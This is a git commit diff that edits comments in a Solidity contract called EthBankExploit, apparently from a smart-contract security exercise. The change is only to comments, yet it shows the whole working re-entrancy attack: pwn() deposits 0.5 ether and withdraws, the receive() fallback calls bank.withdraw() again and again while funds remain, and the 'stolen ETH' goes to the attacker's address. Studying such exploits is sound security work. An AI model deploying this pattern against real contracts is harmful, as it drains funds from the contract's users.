docs: add interesting comments to ETH bank re-entrency contract

src/EthBank/EthBankExploit.sol

@@ -17,20 +17,21 @@ contract EthBankExploit {
     }
 
     receive() external payable {
-        // drain until try to get the most ETH 
+        // drain until try to get the most ETH
         // 0.5 ether is the interval to drain each time
+        // Equal to the amount I sent so that the withdraw does not fail
         if (address(bank).balance >= 0.5 ether) {
             bank.withdraw();
         }
     }
 
     function pwn() external payable {
-        // deposits 
+        // deposits
         bank.deposit{value: 0.5 ether}();
         bank.withdraw();
 
-        // send back stolen ETH to atacker address. 
-        //why? transfer intead of call{value: address(this).balance}
+        // send back stolen ETH to atacker address.
+        // why transfer instead of call?
         payable(msg.sender).transfer(address(this).balance);
     }
 }